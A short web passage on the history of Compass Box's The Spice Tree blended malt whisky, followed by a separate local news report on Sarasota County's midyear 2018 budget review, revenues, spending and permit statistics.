influence from Sherry butts. The Spice Tree History The Spice Tree got off to somewhat of a shaky start when it was first launched in 2005. Matured in barrels made with French oak stave inserts, the whisky became the topic of a legal dispute with the Scotch Whisky Association (SWA), which considered the use of the additional staves a no-no. Compass Box was left with no option but to end production. After three years adjusting the recipe, The Spice Tree was relaunched in September 2009, this time with the omission of the French oak inner staves. Instead, the whisky was given a second maturation in casks containing heavily toasted new French oak heads. In 2016, to mark the 10th anniversary of when the first Spice Tree whisky was banned, Compass Box launched limited edition blend, The Spice Tree Extravaganza. Inspired by the original liquid, the whisky boasts a blend of slightly older whiskies and Sherried malt. A total of 12,240 bottles were released globally, non-chill-filtered and bottled at 46% abv. 2000 Compass Box Delicious Whisky Ltd is founded by John Glaser 2005 The Spice Tree is launched as a blended malt matured using casks containing additional French oak staves 2009 The Spice Tree is relaunched, again as a blended malt this time matured in casks containing French oak heads 2016 The Spice Tree Extravaganza is launched as a limited edition spin-off Compass Box Delicious Whisky 2005 - present Compass Box’s flagship blended grain whisky broke the mould upon its introduction in 2000. Peat Monster As the name suggests, a blend of smoky Island and Highland single malts from Compass Box. Flaming Heart Smoky and spicy blended malt whisky from independent bottler Compass Box. Rebellious indie blended Scotch whisky.	cc/2020-05/en_middle_0032.json.gz/line8200
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Image courtesy Sarasota County Major Sarasota County revenues were up 9.1% compared to staff’s projection for the midpoint of the current fiscal year, and overall expenditures were at the 37% mark, county staff reported to the County Commission this week. Those numbers were part of a review of the status of the budget for the fiscal year that began on Oct. 1, 2017. “We’re glad we’re in the black and doing better than we expected,” Chair Nancy Detert said. During their regular meeting on April 25, the board also approved an amendment to their 2018 fiscal year budget to reflect spending reductions they approved on Jan. 31. Formally, those changes will save the county $1,974,885 for the remaining six months of the current fiscal year. Altogether, the Jan. 31 decisions represented $5.3 million in annual recurring expenses that will be reflected in the 2019 and subsequent fiscal year budgets, County Administrator Jonathan Lewis reminded the board members on April 25. Those included plans to leave vacant positions unfilled. Among specific funds Kim Radtke, director of the county’s Office of Financial Management, reviewed this week, she noted that revenue from the county’s 1-cent sales tax — approved by voter referendum in 2009 for infrastructure projects — was 8.9% higher than expected; revenue from the county’s five separate gas taxes was up 8.8% compared to the budget projection; and the combined county utility revenues were 8.1% higher. Revenue from the 5% Tourist Development Tax (TDT) — the “bed tax” — was 17% above the staff projection for the midpoint, Radtke said. However, the figure staff used for its April 25 presentation did not encompass the latest report from the Sarasota County Tax Collector’s Office, which reflected revenue collected through the end of February. That report showed the TDT revenue was up $1,049,576.68 compared to the same period of the 2017 fiscal year. (See the related article in this issue.) A chart shows the status of expenditures by Sarasota County departments at the midpoint of the fiscal year. Image courtesy Sarasota County No department operating under the aegis of the County Commission had spent 50% of its budget by the midpoint, Radtke added. Twelve of them were more than 10% below the 50% level, she pointed out. “County staff did a really good job of being conservative,” she said, before the County Commission took measures during its Jan. 31 budget workshop. In regard to other facets of the midyear budget, Radtke noted that the Sarasota County Fire Department/EMS fund had spent 42% of its projected expenses for the 2018 fiscal year; and the Medical Benefits Fund had paid out 47% of its projected expenses. The General Fund expenses were at the 44% level. The Solid Waste Fund had the smallest outlay of any major county fund at the midpoint of the fiscal year, according to a chart provided to the board: 27%. The Utilities Fund was at the 29% mark. Among other trends worth noting, County Administrator Lewis pointed out that the number of building permits the county had issued by the middle of the fiscal year was up 18% compared to the same point in the prior fiscal year. The total was 19,273, he said. “I think that’s a significant number …” The count of commercial permits was 78% higher than the figure at the midpoint of the 2017 fiscal year, he added, with 64 having been approved. A chart provides county statistics for the midpoint of the current fiscal year. Image courtesy Sarasota County For single-family residential construction, a 4% decrease had been recorded through March, compared to the figure as of the end of March 2017, according to a chart Lewis showed the commission. Of those permits, 54% were issued in North County; the remaining 46%, in South County. However, the total number of permits for multi-family units was up 62% through the midpoint of the current fiscal year, compared to the figure for the midpoint of FY17. Yet another statistic Lewis cited was the 3% increase in calls to the county’s Contact Center as of the middle of the current fiscal year. That total was 90,724, a chart said. “That’s a huge volume,” he told the board. Residents call the center for a variety of reasons, he explained. For example, some need general information, he said, while others check on the status of work permits. Social media contacts also are on the rise on a monthly basis, he pointed out. So far this fiscal year, county government’s Facebook page has seen the number of “likes” rise each month, reflecting a 10.5% uptick compared to the same period of the 2017 fiscal year. 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